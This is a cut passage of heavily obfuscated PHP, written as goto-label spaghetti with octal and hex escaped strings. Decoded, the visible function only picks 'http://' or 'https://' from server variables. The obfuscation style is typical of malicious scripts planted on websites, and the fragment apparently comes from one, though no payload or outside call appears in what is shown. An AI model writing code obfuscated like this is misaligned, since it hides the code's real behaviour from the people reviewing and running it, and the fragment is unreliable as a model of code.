$CZz5sVrqYvUkOf[49 + 8]}; goto VdLOE_8tJXB3Hd; iN0D1QP22TTsuo: function cvthGuuIDOaBXI() { goto Q40_vMXmixv0Ew; kvYHX6qPQW7S52: goto QF_tHjIiyMPxCv; goto MQieXuPQNRh3eP; cwPytSKc8Fpgrw: $rt1pfIpWvYSs6w = "\x68\x74\164\160\163\72\57\x2f"; goto kvYHX6qPQW7S52; sIw3Xa2UrFy402: QF_tHjIiyMPxCv: goto XF11DfIydCSTXJ; XF11DfIydCSTXJ: return $rt1pfIpWvYSs6w; goto T2sbkeUpNBed6z; BOPt1K3dAArH40: K5mSCJSevystJl: goto cwPytSKc8Fpgrw; jWzVl2bbESQuEp: $rt1pfIpWvYSs6w = "\150\164\x74\x70\x73\72\x2f\x2f"; goto v4nxNulGHPPNMa; gVpeGHHWx53Ljt: if (isset($_SERVER["\110\x54\x54\x50\137\x58\x5f\x46\117\122\x57\x41\122\x44\105\x44\137\120\x52\117\x54\117"]) && $_SERVER["\x48\124\124\120\137\x58\x5f\106\117\x52\x57\x41\122\x44\105\104\x5f\x50\122\x4f\124\x4f"] === "\x68\164\x74\160\x73") { goto K5mSCJSevystJl; } goto cSHPVD3IRCVAaV; Q40_vMXmixv0Ew: $rt1pfIpWvYSs6w = "\150\164\x74\160\72\x2f\57"; goto NlHSua9SceOkkg; h8SYr1Jb3XwVN4: goto QF_tHjIiyMPxCv; goto RKTkQZMkYi9Cgt; EFLfN2AMOZlEm3: $rt1pfIpWvYSs6w = "\150\164\x74\x70\163\72\x2f\57"; goto sIw3Xa2UrFy402; v4nxNulGHPPNMa: goto QF_tHjIiyMPxCv; goto BOPt1K3dAArH40; NlHSua9SceOkkg: if (isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\157\146\x66") { goto PYzRX8lzUlNfP4; } goto gVpeGHHWx53Ljt; RKTkQZMkYi9Cgt: PYzRX8lzUlNfP4: goto jWzVl2bbESQuEp; MQieXuPQNRh3eP: d_476nwGSAIxAh: goto EFLfN2AMOZlEm3; cSHPVD3IRCVAaV: if (isset($_SERVER["\x48\x54\x54\120\x5f\106\122\117\116\x54\137\x45\x4e\x44\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\137\106\x52\x4f\116\124\x5f\105\116\x44\x5f\110\124\x54\x50\x53"]) !== "\x6f\146\146") { goto d_476nwGSAIxAh; } goto h8SYr1Jb3XwVN4; T2sbkeUpNBed6z: } goto iS2uY3yxKzFLXT; zNxNbJxUVPLx9l: xg8FNXqleuiX6n: ?>